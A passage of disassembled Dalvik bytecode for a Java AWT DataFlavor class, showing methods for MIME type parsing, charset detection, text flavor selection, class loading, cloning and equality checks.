00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, MimeTypeProcessor$MimeType
0000000A const-string v1, "application"
0000000E const-string v2, "x-java-serialized-object"
00000012 invoke-direct MimeTypeProcessor$MimeType-><init>(String, String)V, v0, v1, v2
00000018 iput-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001C if-eqz p2, :40
:20
00000020 iput-object p2, p0, DataFlavor->humanPresentableName:String
:24
00000024 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000028 const-string v1, "class"
0000002C invoke-virtual Class->getName()String, p1
00000032 move-result-object v2
00000034 invoke-virtual MimeTypeProcessor$MimeType->addParameter(String, String)V, v0, v1, v2
0000003A iput-object p1, p0, DataFlavor->representationClass:Class
0000003E return-void
:40
00000040 const-string v0, "application/x-java-serialized-object"
00000044 iput-object v0, p0, DataFlavor->humanPresentableName:String
00000048 goto :24
.end method
.method public constructor <init>(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 invoke-direct DataFlavor->init(String, String, ClassLoader)V, p0, p1, v0, v0
0000000E return-void
.end method
.method public constructor <init>(String, String)V
.registers 8
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
:8
00000008 invoke-direct DataFlavor->init(String, String, ClassLoader)V, p0, p1, p2, v0
:E
0000000E return-void
:10
00000010 move-exception v0
00000012 new-instance v1, IllegalArgumentException
00000016 const-string v2, "awt.16C"
0000001A iget-object v3, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E const-string v4, "class"
00000022 invoke-virtual MimeTypeProcessor$MimeType->getParameter(String)String, v3, v4
00000028 move-result-object v3
0000002A invoke-static Messages->getString(String, Object)String, v2, v3
00000030 move-result-object v2
00000032 invoke-direct IllegalArgumentException-><init>(String, Throwable)V, v1, v2, v0
00000038 throw v1
.catch ClassNotFoundException {:8 .. :E} :10
.end method
.method public constructor <init>(String, String, ClassLoader)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-direct DataFlavor->init(String, String, ClassLoader)V, p0, p1, p2, p3
0000000C return-void
.end method
.method private static fetchTextFlavors(List, String)List
.registers 6
00000000 new-instance v1, LinkedList
00000004 invoke-direct LinkedList-><init>()V, v1
0000000A invoke-interface List->iterator()Iterator, p0
00000010 move-result-object v2
:12
00000012 invoke-interface Iterator->hasNext()Z, v2
00000018 move-result v0
0000001A if-nez v0, :2E
:1E
0000001E invoke-virtual LinkedList->isEmpty()Z, v1
00000024 move-result v0
00000026 if-eqz v0, :80
:2A
0000002A const/4 v0, 0x0
:2C
0000002C return-object v0
:2E
0000002E invoke-interface Iterator->next()Object, v2
00000034 move-result-object v0
00000036 check-cast v0, DataFlavor
0000003A invoke-virtual DataFlavor->isFlavorTextType()Z, v0
00000040 move-result v3
00000042 if-eqz v3, :78
:46
00000046 iget-object v3, v0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000004A invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, v3
00000050 move-result-object v3
00000052 invoke-virtual String->equals(Object)Z, v3, p1
00000058 move-result v3
0000005A if-eqz v3, :12
:5E
0000005E invoke-virtual LinkedList->contains(Object)Z, v1, v0
00000064 move-result v3
00000066 if-nez v3, :70
:6A
0000006A invoke-virtual LinkedList->add(Object)Z, v1, v0
:70
00000070 invoke-interface Iterator->remove()V, v2
00000076 goto :12
:78
00000078 invoke-interface Iterator->remove()V, v2
0000007E goto :12
:80
00000080 move-object v0, v1
00000082 goto :2C
.end method
.method private getCharset()String
.registers 3
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 if-eqz v0, :14
:8
00000008 invoke-direct DataFlavor->isCharsetRedundant()Z, p0
0000000E move-result v0
00000010 if-eqz v0, :1A
:14
00000014 const-string v0, ""
:18
00000018 return-object v0
:1A
0000001A iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E const-string v1, "charset"
00000022 invoke-virtual MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000028 move-result-object v0
0000002A invoke-direct DataFlavor->isCharsetRequired()Z, p0
00000030 move-result v1
00000032 if-eqz v1, :58
:36
00000036 if-eqz v0, :46
:3A
0000003A invoke-virtual String->length()I, v0
00000040 move-result v1
00000042 if-nez v1, :58
:46
00000046 invoke-static DTK->getDTK()DTK
0000004C move-result-object v0
0000004E invoke-virtual DTK->getDefaultCharset()String, v0
00000054 move-result-object v0
00000056 goto :18
:58
00000058 if-nez v0, :18
:5C
0000005C const-string v0, ""
00000060 goto :18
.end method
.method private static getFlavors(List, Class)List
.registers 6
00000000 new-instance v1, LinkedList
00000004 invoke-direct LinkedList-><init>()V, v1
0000000A invoke-interface List->iterator()Iterator, p0
00000010 move-result-object v2
:12
00000012 invoke-interface Iterator->hasNext()Z, v2
00000018 move-result v0
0000001A if-nez v0, :2E
:1E
0000001E invoke-virtual LinkedList->isEmpty()Z, v1
00000024 move-result v0
00000026 if-eqz v0, :2C
:2A
0000002A const/4 p0, 0x0
:2C
0000002C return-object p0
:2E
0000002E invoke-interface Iterator->next()Object, v2
00000034 move-result-object v0
00000036 check-cast v0, DataFlavor
0000003A iget-object v3, v0, DataFlavor->representationClass:Class
0000003E invoke-virtual Object->equals(Object)Z, v3, p1
00000044 move-result v3
00000046 if-eqz v3, :12
:4A
0000004A invoke-virtual LinkedList->add(Object)Z, v1, v0
00000050 goto :12
.end method
.method private static getFlavors(List, [String)List
.registers 9
00000000 new-instance v2, LinkedList
00000004 invoke-direct LinkedList-><init>()V, v2
0000000A invoke-interface List->iterator()Iterator, p0
00000010 move-result-object v3
:12
00000012 invoke-interface Iterator->hasNext()Z, v3
00000018 move-result v0
0000001A if-nez v0, :2E
:1E
0000001E invoke-virtual LinkedList->isEmpty()Z, v2
00000024 move-result v0
00000026 if-eqz v0, :2C
:2A
0000002A const/4 p0, 0x0
:2C
0000002C return-object p0
:2E
0000002E invoke-interface Iterator->next()Object, v3
00000034 move-result-object v0
00000036 check-cast v0, DataFlavor
0000003A invoke-direct DataFlavor->getCharset()String, v0
00000040 move-result-object v1
00000042 invoke-static DataFlavor->isCharsetSupported(String)Z, v1
00000048 move-result v1
0000004A if-eqz v1, :8A
:4E
0000004E array-length v4, p1
00000050 const/4 v1, 0x0
:52
00000052 if-ge v1, v4, :12
:56
00000056 aget-object v5, p1, v1
0000005A invoke-static Charset->forName(String)Charset, v5
00000060 move-result-object v5
00000062 invoke-direct DataFlavor->getCharset()String, v0
00000068 move-result-object v6
0000006A invoke-static Charset->forName(String)Charset, v6
00000070 move-result-object v6
00000072 invoke-virtual Charset->equals(Object)Z, v5, v6
00000078 move-result v5
0000007A if-eqz v5, :84
:7E
0000007E invoke-virtual LinkedList->add(Object)Z, v2, v0
:84
00000084 add-int/lit8 v1, v1, 0x1
00000088 goto :52
:8A
0000008A invoke-interface Iterator->remove()V, v3
00000090 goto :12
.end method
.method private getKeyInfo()String
.registers 4
00000000 new-instance v0, StringBuilder
00000004 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000008 invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, v1
0000000E move-result-object v1
00000010 invoke-static String->valueOf(Object)String, v1
00000016 move-result-object v1
00000018 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001E const-string v1, ";class="
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000028 move-result-object v0
0000002A iget-object v1, p0, DataFlavor->representationClass:Class
0000002E invoke-virtual Class->getName()String, v1
00000034 move-result-object v1
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003C move-result-object v0
0000003E invoke-virtual StringBuilder->toString()String, v0
00000044 move-result-object v0
00000046 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000004A invoke-virtual MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000050 move-result-object v1
00000052 const-string v2, "text"
00000056 invoke-virtual String->equals(Object)Z, v1, v2
0000005C move-result v1
0000005E if-eqz v1, :6E
:62
00000062 invoke-direct DataFlavor->isUnicodeFlavor()Z, p0
00000068 move-result v1
0000006A if-eqz v1, :70
:6E
0000006E return-object v0
:70
00000070 new-instance v1, StringBuilder
00000074 invoke-static String->valueOf(Object)String, v0
0000007A move-result-object v0
0000007C invoke-direct StringBuilder-><init>(String)V, v1, v0
00000082 const-string v0, ";charset="
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
0000008C move-result-object v0
0000008E invoke-direct DataFlavor->getCharset()String, p0
00000094 move-result-object v1
00000096 invoke-virtual String->toLowerCase()String, v1
0000009C move-result-object v1
0000009E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000A4 move-result-object v0
000000A6 invoke-virtual StringBuilder->toString()String, v0
000000AC move-result-object v0
000000AE goto :6E
.end method
.method public static final getTextPlainUnicodeFlavor()DataFlavor
.registers 3
00000000 sget-object v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000004 if-nez v0, :54
:8
00000008 new-instance v0, DataFlavor
0000000C new-instance v1, StringBuilder
00000010 const-string v2, "text/plain; charset="
00000014 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001A invoke-static DTK->getDTK()DTK
00000020 move-result-object v2
00000022 invoke-virtual DTK->getDefaultCharset()String, v2
00000028 move-result-object v2
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000030 move-result-object v1
00000032 const-string v2, "; class=java.io.InputStream"
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000003C move-result-object v1
0000003E invoke-virtual StringBuilder->toString()String, v1
00000044 move-result-object v1
00000046 const-string v2, "Plain Text"
0000004A invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
00000050 sput-object v0, DataFlavor->plainUnicodeFlavor:DataFlavor
:54
00000054 sget-object v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000058 return-object v0
.end method
.method private init(String, String, ClassLoader)V
.registers 7
00000000 invoke-static MimeTypeProcessor->parse(String)MimeTypeProcessor$MimeType, p1
00000006 move-result-object v0
00000008 iput-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
:C
0000000C if-eqz p2, :66
:10
00000010 iput-object p2, p0, DataFlavor->humanPresentableName:String
:14
00000014 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000018 const-string v1, "class"
0000001C invoke-virtual MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000022 move-result-object v0
00000024 if-nez v0, :3A
:28
00000028 const-string v0, "java.io.InputStream"
0000002C iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000030 const-string v2, "class"
00000034 invoke-virtual MimeTypeProcessor$MimeType->addParameter(String, String)V, v1, v2, v0
:3A
0000003A if-nez p3, :B2
:3E
0000003E invoke-static Class->forName(String)Class, v0
00000044 move-result-object v0
:46
00000046 iput-object v0, p0, DataFlavor->representationClass:Class
0000004A return-void
:4C
0000004C move-exception v0
0000004E new-instance v0, IllegalArgumentException
00000052 const-string v1, "awt.16D"
00000056 invoke-static Messages->getString(String, Object)String, v1, p1
0000005C move-result-object v1
0000005E invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000064 throw v0
:66
00000066 new-instance v0, StringBuilder
0000006A iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000006E invoke-virtual MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000074 move-result-object v1
00000076 invoke-static String->valueOf(Object)String, v1
0000007C move-result-object v1
0000007E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000084 const/16 v1, 0x2F
00000088 invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
0000008E move-result-object v0
00000090 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000094 invoke-virtual MimeTypeProcessor$MimeType->getSubType()String, v1
0000009A move-result-object v1
0000009C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000A2 move-result-object v0
000000A4 invoke-virtual StringBuilder->toString()String, v0
000000AA move-result-object v0
000000AC iput-object v0, p0, DataFlavor->humanPresentableName:String
000000B0 goto :14
:B2
000000B2 invoke-virtual ClassLoader->loadClass(String)Class, p3, v0
000000B8 move-result-object v0
000000BA goto :46
.catch IllegalArgumentException {:0 .. :C} :4C
.end method
.method private isByteCodeFlavor()Z
.registers 3
00000000 iget-object v0, p0, DataFlavor->representationClass:Class
00000004 if-eqz v0, :48
:8
00000008 iget-object v0, p0, DataFlavor->representationClass:Class
0000000C const-class v1, InputStream
00000010 invoke-virtual Object->equals(Object)Z, v0, v1
00000016 move-result v0
00000018 if-nez v0, :44
:1C
0000001C iget-object v0, p0, DataFlavor->representationClass:Class
00000020 const-class v1, ByteBuffer
00000024 invoke-virtual Object->equals(Object)Z, v0, v1
0000002A move-result v0
0000002C if-nez v0, :44
:30
00000030 iget-object v0, p0, DataFlavor->representationClass:Class
00000034 const-class v1, [B
00000038 invoke-virtual Object->equals(Object)Z, v0, v1
0000003E move-result v0
00000040 if-eqz v0, :48
:44
00000044 const/4 v0, 0x1
:46
00000046 return v0
:48
00000048 const/4 v0, 0x0
0000004A goto :46
.end method
.method private isCharsetRedundant()Z
.registers 3
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, v0
0000000A move-result-object v0
0000000C const-string v1, "text/rtf"
00000010 invoke-virtual String->equals(Object)Z, v0, v1
00000016 move-result v1
00000018 if-nez v1, :60
:1C
0000001C const-string v1, "text/tab-separated-values"
00000020 invoke-virtual String->equals(Object)Z, v0, v1
00000026 move-result v1
00000028 if-nez v1, :60
:2C
0000002C const-string v1, "text/t140"
00000030 invoke-virtual String->equals(Object)Z, v0, v1
00000036 move-result v1
00000038 if-nez v1, :60
:3C
0000003C const-string v1, "text/rfc822-headers"
00000040 invoke-virtual String->equals(Object)Z, v0, v1
00000046 move-result v1
00000048 if-nez v1, :60
:4C
0000004C const-string v1, "text/parityfec"
00000050 invoke-virtual String->equals(Object)Z, v0, v1
00000056 move-result v0
00000058 if-nez v0, :60
:5C
0000005C const/4 v0, 0x0
:5E
0000005E return v0
:60
00000060 const/4 v0, 0x1
00000062 goto :5E
.end method
.method private isCharsetRequired()Z
.registers 3
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 invoke-virtual MimeTypeProcessor$MimeType->getFullType()String, v0
0000000A move-result-object v0
0000000C const-string v1, "text/sgml"
00000010 invoke-virtual String->equals(Object)Z, v0, v1
00000016 move-result v1
00000018 if-nez v1, :C0
:1C
0000001C const-string v1, "text/xml"
00000020 invoke-virtual String->equals(Object)Z, v0, v1
00000026 move-result v1
00000028 if-nez v1, :C0
:2C
0000002C const-string v1, "text/html"
00000030 invoke-virtual String->equals(Object)Z, v0, v1
00000036 move-result v1
00000038 if-nez v1, :C0
:3C
0000003C const-string v1, "text/enriched"
00000040 invoke-virtual String->equals(Object)Z, v0, v1
00000046 move-result v1
00000048 if-nez v1, :C0
:4C
0000004C const-string v1, "text/richtext"
00000050 invoke-virtual String->equals(Object)Z, v0, v1
00000056 move-result v1
00000058 if-nez v1, :C0
:5C
0000005C const-string v1, "text/uri-list"
00000060 invoke-virtual String->equals(Object)Z, v0, v1
00000066 move-result v1
00000068 if-nez v1, :C0
:6C
0000006C const-string v1, "text/directory"
00000070 invoke-virtual String->equals(Object)Z, v0, v1
00000076 move-result v1
00000078 if-nez v1, :C0
:7C
0000007C const-string v1, "text/css"
00000080 invoke-virtual String->equals(Object)Z, v0, v1
00000086 move-result v1
00000088 if-nez v1, :C0
:8C
0000008C const-string v1, "text/calendar"
00000090 invoke-virtual String->equals(Object)Z, v0, v1
00000096 move-result v1
00000098 if-nez v1, :C0
:9C
0000009C const-string v1, "application/x-java-serialized-object"
000000A0 invoke-virtual String->equals(Object)Z, v0, v1
000000A6 move-result v1
000000A8 if-nez v1, :C0
:AC
000000AC const-string v1, "text/plain"
000000B0 invoke-virtual String->equals(Object)Z, v0, v1
000000B6 move-result v0
000000B8 if-nez v0, :C0
:BC
000000BC const/4 v0, 0x0
:BE
000000BE return v0
:C0
000000C0 const/4 v0, 0x1
000000C2 goto :BE
.end method
.method private static isCharsetSupported(String)Z
.registers 2
00000000 invoke-static Charset->isSupported(String)Z, p0
00000006 move-result v0
:8
00000008 return v0
:A
0000000A move-exception v0
0000000C const/4 v0, 0x0
0000000E goto :8
.catch IllegalCharsetNameException {:0 .. :6} :A
.end method
.method private isUnicodeFlavor()Z
.registers 3
00000000 iget-object v0, p0, DataFlavor->representationClass:Class
00000004 if-eqz v0, :5C
:8
00000008 iget-object v0, p0, DataFlavor->representationClass:Class
0000000C const-class v1, Reader
00000010 invoke-virtual Object->equals(Object)Z, v0, v1
00000016 move-result v0
00000018 if-nez v0, :58
:1C
0000001C iget-object v0, p0, DataFlavor->representationClass:Class
00000020 const-class v1, String
00000024 invoke-virtual Object->equals(Object)Z, v0, v1
0000002A move-result v0
0000002C if-nez v0, :58
:30
00000030 iget-object v0, p0, DataFlavor->representationClass:Class
00000034 const-class v1, CharBuffer
00000038 invoke-virtual Object->equals(Object)Z, v0, v1
0000003E move-result v0
00000040 if-nez v0, :58
:44
00000044 iget-object v0, p0, DataFlavor->representationClass:Class
00000048 const-class v1, [C
0000004C invoke-virtual Object->equals(Object)Z, v0, v1
00000052 move-result v0
00000054 if-eqz v0, :5C
:58
00000058 const/4 v0, 0x1
:5A
0000005A return v0
:5C
0000005C const/4 v0, 0x0
0000005E goto :5A
.end method
.method private static selectBestByAlphabet(List)List
.registers 8
00000000 const/4 v2, 0x0
00000002 invoke-interface List->size()I, p0
00000008 move-result v0
0000000A new-array v4, v0, [String
0000000E new-instance v3, LinkedList
00000012 invoke-direct LinkedList-><init>()V, v3
00000018 move v1, v2
:1A
0000001A array-length v0, v4
0000001C if-lt v1, v0, :4E
:20
00000020 sget-object v0, String->CASE_INSENSITIVE_ORDER:Comparator
00000024 invoke-static Arrays->sort([Object, Comparator)V, v4, v0
0000002A invoke-interface List->iterator()Iterator, p0
00000030 move-result-object v1
:32
00000032 invoke-interface Iterator->hasNext()Z, v1
00000038 move-result v0
0000003A if-nez v0, :6E
:3E
0000003E invoke-virtual LinkedList->isEmpty()Z, v3
00000044 move-result v0
00000046 if-eqz v0, :9A
:4A
0000004A const/4 v0, 0x0
:4C
0000004C return-object v0
:4E
0000004E invoke-interface List->get(I)Object, p0, v1
00000054 move-result-object v0
00000056 check-cast v0, DataFlavor
0000005A invoke-direct DataFlavor->getCharset()String, v0
00000060 move-result-object v0
00000062 aput-object v0, v4, v1
00000066 add-int/lit8 v0, v1, 0x1
0000006A move v1, v0
0000006C goto :1A
:6E
0000006E invoke-interface Iterator->next()Object, v1
00000074 move-result-object v0
00000076 check-cast v0, DataFlavor
0000007A aget-object v5, v4, v2
0000007E invoke-direct DataFlavor->getCharset()String, v0
00000084 move-result-object v6
00000086 invoke-virtual String->equalsIgnoreCase(String)Z, v5, v6
0000008C move-result v5
0000008E if-eqz v5, :32
:92
00000092 invoke-virtual LinkedList->add(Object)Z, v3, v0
00000098 goto :32
:9A
0000009A move-object v0, v3
0000009C goto :4C
.end method
.method private static selectBestByCharset(List)DataFlavor
.registers 6
00000000 const/4 v4, 0x1
00000002 const/4 v3, 0x0
00000004 const/4 v0, 0x4
00000006 new-array v0, v0, [String
0000000A const-string v1, "UTF-16"
0000000E aput-object v1, v0, v3
00000012 const-string v1, "UTF-8"
00000016 aput-object v1, v0, v4
0000001A const/4 v1, 0x2
0000001C const-string v2, "UTF-16BE"
00000020 aput-object v2, v0, v1
00000024 const/4 v1, 0x3
00000026 const-string v2, "UTF-16LE"
0000002A aput-object v2, v0, v1
0000002E invoke-static DataFlavor->getFlavors(List, [String)List, p0, v0
00000034 move-result-object v0
00000036 if-nez v0, :7E
:3A
0000003A new-array v0, v4, [String
0000003E invoke-static DTK->getDTK()DTK
00000044 move-result-object v1
00000046 invoke-virtual DTK->getDefaultCharset()String, v1
0000004C move-result-object v1
0000004E aput-object v1, v0, v3
00000052 invoke-static DataFlavor->getFlavors(List, [String)List, p0, v0
00000058 move-result-object v0
0000005A if-nez v0, :7E
:5E
0000005E new-array v0, v4, [String
00000062 const-string v1, "US-ASCII"
00000066 aput-object v1, v0, v3
0000006A invoke-static DataFlavor->getFlavors(List, [String)List, p0, v0
00000070 move-result-object v0
00000072 if-nez v0, :7E
:76
00000076 invoke-static DataFlavor->selectBestByAlphabet(List)List, p0
0000007C move-result-object v0
:7E
0000007E if-eqz v0, :A6
:82
00000082 invoke-interface List->size()I, v0
00000088 move-result v1
0000008A if-ne v1, v4, :9C
:8E
0000008E invoke-interface List->get(I)Object, v0, v3
00000094 move-result-object v0
00000096 check-cast v0, DataFlavor
:9A
0000009A return-object v0
:9C
0000009C invoke-static DataFlavor->selectBestFlavorWOCharset(List)DataFlavor, v0
000000A2 move-result-object v0
000000A4 goto :9A
:A6
000000A6 const/4 v0, 0x0
000000A8 goto :9A
.end method
.method private static selectBestFlavorWCharset(List)DataFlavor
.registers 3
00000000 const/4 v1, 0x0
00000002 const-class v0, Reader
00000006 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
0000000C move-result-object v0
0000000E if-eqz v0, :20
:12
00000012 invoke-interface List->get(I)Object, v0, v1
00000018 move-result-object v0
0000001A check-cast v0, DataFlavor
:1E
0000001E return-object v0
:20
00000020 const-class v0, String
00000024 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
0000002A move-result-object v0
0000002C if-eqz v0, :3E
:30
00000030 invoke-interface List->get(I)Object, v0, v1
00000036 move-result-object v0
00000038 check-cast v0, DataFlavor
0000003C goto :1E
:3E
0000003E const-class v0, CharBuffer
00000042 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
00000048 move-result-object v0
0000004A if-eqz v0, :5C
:4E
0000004E invoke-interface List->get(I)Object, v0, v1
00000054 move-result-object v0
00000056 check-cast v0, DataFlavor
0000005A goto :1E
:5C
0000005C const-class v0, [C
00000060 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
00000066 move-result-object v0
00000068 if-eqz v0, :7A
:6C
0000006C invoke-interface List->get(I)Object, v0, v1
00000072 move-result-object v0
00000074 check-cast v0, DataFlavor
00000078 goto :1E
:7A
0000007A invoke-static DataFlavor->selectBestByCharset(List)DataFlavor, p0
00000080 move-result-object v0
00000082 goto :1E
.end method
.method private static selectBestFlavorWOCharset(List)DataFlavor
.registers 3
00000000 const/4 v1, 0x0
00000002 const-class v0, InputStream
00000006 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
0000000C move-result-object v0
0000000E if-eqz v0, :20
:12
00000012 invoke-interface List->get(I)Object, v0, v1
00000018 move-result-object v0
0000001A check-cast v0, DataFlavor
:1E
0000001E return-object v0
:20
00000020 const-class v0, ByteBuffer
00000024 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
0000002A move-result-object v0
0000002C if-eqz v0, :3E
:30
00000030 invoke-interface List->get(I)Object, v0, v1
00000036 move-result-object v0
00000038 check-cast v0, DataFlavor
0000003C goto :1E
:3E
0000003E const-class v0, [B
00000042 invoke-static DataFlavor->getFlavors(List, Class)List, p0, v0
00000048 move-result-object v0
0000004A if-eqz v0, :5C
:4E
0000004E invoke-interface List->get(I)Object, v0, v1
00000054 move-result-object v0
00000056 check-cast v0, DataFlavor
0000005A goto :1E
:5C
0000005C invoke-interface List->get(I)Object, p0, v1
00000062 move-result-object v0
00000064 check-cast v0, DataFlavor
00000068 goto :1E
.end method
.method public static final selectBestTextFlavor([DataFlavor)DataFlavor
.registers 5
00000000 const/4 v0, 0x0
00000002 const/4 v3, 0x0
00000004 if-nez p0, :A
:8
00000008 return-object v0
:A
0000000A new-instance v1, LinkedList
0000000E invoke-static Arrays->asList([Object)List, p0
00000014 move-result-object v2
00000016 invoke-direct LinkedList-><init>(Collection)V, v1, v2
0000001C invoke-static DataFlavor->sortTextFlavorsByType(List)List, v1
00000022 move-result-object v1
00000024 invoke-interface List->isEmpty()Z, v1
0000002A move-result v2
0000002C if-nez v2, :8
:30
00000030 invoke-interface List->get(I)Object, v1, v3
00000036 move-result-object v0
00000038 check-cast v0, List
0000003C invoke-interface List->size()I, v0
00000042 move-result v1
00000044 const/4 v2, 0x1
00000046 if-ne v1, v2, :58
:4A
0000004A invoke-interface List->get(I)Object, v0, v3
00000050 move-result-object v0
00000052 check-cast v0, DataFlavor
00000056 goto :8
:58
00000058 invoke-interface List->get(I)Object, v0, v3
0000005E move-result-object v1
00000060 check-cast v1, DataFlavor
00000064 invoke-direct DataFlavor->getCharset()String, v1
0000006A move-result-object v1
0000006C invoke-virtual String->length()I, v1
00000072 move-result v1
00000074 if-nez v1, :82
:78
00000078 invoke-static DataFlavor->selectBestFlavorWOCharset(List)DataFlavor, v0
0000007E move-result-object v0
00000080 goto :8
:82
00000082 invoke-static DataFlavor->selectBestFlavorWCharset(List)DataFlavor, v0
00000088 move-result-object v0
0000008A goto :8
.end method
.method private static sortTextFlavorsByType(List)List
.registers 6
00000000 new-instance v1, LinkedList
00000004 invoke-direct LinkedList-><init>()V, v1
0000000A sget-object v2, DataFlavor->sortedTextFlavors:[String
0000000E array-length v3, v2
00000010 const/4 v0, 0x0
:12
00000012 if-lt v0, v3, :2A
:16
00000016 invoke-interface List->isEmpty()Z, p0
0000001C move-result v0
0000001E if-nez v0, :28
:22
00000022 invoke-virtual LinkedList->addLast(Object)V, v1, p0
:28
00000028 return-object v1
:2A
0000002A aget-object v4, v2, v0
0000002E invoke-static DataFlavor->fetchTextFlavors(List, String)List, p0, v4
00000034 move-result-object v4
00000036 if-eqz v4, :40
:3A
0000003A invoke-virtual LinkedList->addLast(Object)V, v1, v4
:40
00000040 add-int/lit8 v0, v0, 0x1
00000044 goto :12
.end method
.method protected static final tryToLoadClass(String, ClassLoader)Class
.registers 3
00000000 invoke-static Class->forName(String)Class, p0
00000006 move-result-object v0
:8
00000008 return-object v0
:A
0000000A move-exception v0
:C
0000000C invoke-static ClassLoader->getSystemClassLoader()ClassLoader
00000012 move-result-object v0
00000014 invoke-virtual ClassLoader->loadClass(String)Class, v0, p0
:1A
0000001A move-result-object v0
0000001C goto :8
:1E
0000001E move-exception v0
00000020 invoke-static Thread->currentThread()Thread
00000026 move-result-object v0
00000028 invoke-virtual Thread->getContextClassLoader()ClassLoader, v0
0000002E move-result-object v0
00000030 if-eqz v0, :40
:34
00000034 invoke-virtual ClassLoader->loadClass(String)Class, v0, p0
:3A
0000003A move-result-object v0
0000003C goto :8
:3E
0000003E move-exception v0
:40
00000040 invoke-virtual ClassLoader->loadClass(String)Class, p1, p0
00000046 move-result-object v0
00000048 goto :8
.catch ClassNotFoundException {:0 .. :6} :A
.catch ClassNotFoundException {:C .. :1A} :1E
.catch ClassNotFoundException {:34 .. :3A} :3E
.end method
.method public clone()Object
.registers 3
00000000 new-instance v1, DataFlavor
00000004 invoke-direct DataFlavor-><init>()V, v1
0000000A iget-object v0, p0, DataFlavor->humanPresentableName:String
0000000E iput-object v0, v1, DataFlavor->humanPresentableName:String
00000012 iget-object v0, p0, DataFlavor->representationClass:Class
00000016 iput-object v0, v1, DataFlavor->representationClass:Class
0000001A iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E if-eqz v0, :38
:22
00000022 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000026 invoke-virtual MimeTypeProcessor$MimeType->clone()Object, v0
0000002C move-result-object v0
0000002E check-cast v0, MimeTypeProcessor$MimeType
:32
00000032 iput-object v0, v1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000036 return-object v1
:38
00000038 const/4 v0, 0x0
0000003A goto :32
.end method
.method public equals(Object)Z
.registers 3
00000000 if-eqz p1, :C
:4
00000004 instance-of v0, p1, DataFlavor
00000008 if-nez v0, :10
:C
0000000C const/4 v0, 0x0
:E
0000000E return v0
:10
00000010 check-cast p1, DataFlavor
00000014 invoke-virtual DataFlavor->equals(DataFlavor)Z, p0, p1
0000001A move-result v0
0000001C goto :E
.end method
.method public equals(String)Z
.registers 3
.annotation runtime Deprecated
.end annotation
00000000 if-nez p1, :8
:4
00000004 const/4 v0, 0x0
:6
00000006 return v0
:8
00000008 invoke-virtual DataFlavor->isMimeTypeEqual(String)Z, p0, p1
0000000E move-result v0
00000010 goto :6
.end method
.method public equals(DataFlavor)Z
.registers 6
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 if-ne p1, p0, :A
:8
00000008 return v0
:A
0000000A if-nez p1, :12
:E
0000000E move v0, v1
00000010 goto :8
:12
00000012 iget-object v2, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000016 if-nez v2, :26
:1A
0000001A iget-object v2, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E if-eqz v2, :8
:22
00000022 move v0, v1
00000024 goto :8
:26
00000026 iget-object v2, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002A iget-object v3, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002E invoke-virtual MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v2, v3
00000034 move-result v2
00000036 if-eqz v2, :4E
:3A
0000003A iget-object v2, p0, DataFlavor->representationClass:Class
0000003E iget-object v3, p1, DataFlavor->representationClass:Class
00000042 invoke-virtual Object->equals(Object)Z, v2, v3
00000048 move-result v2
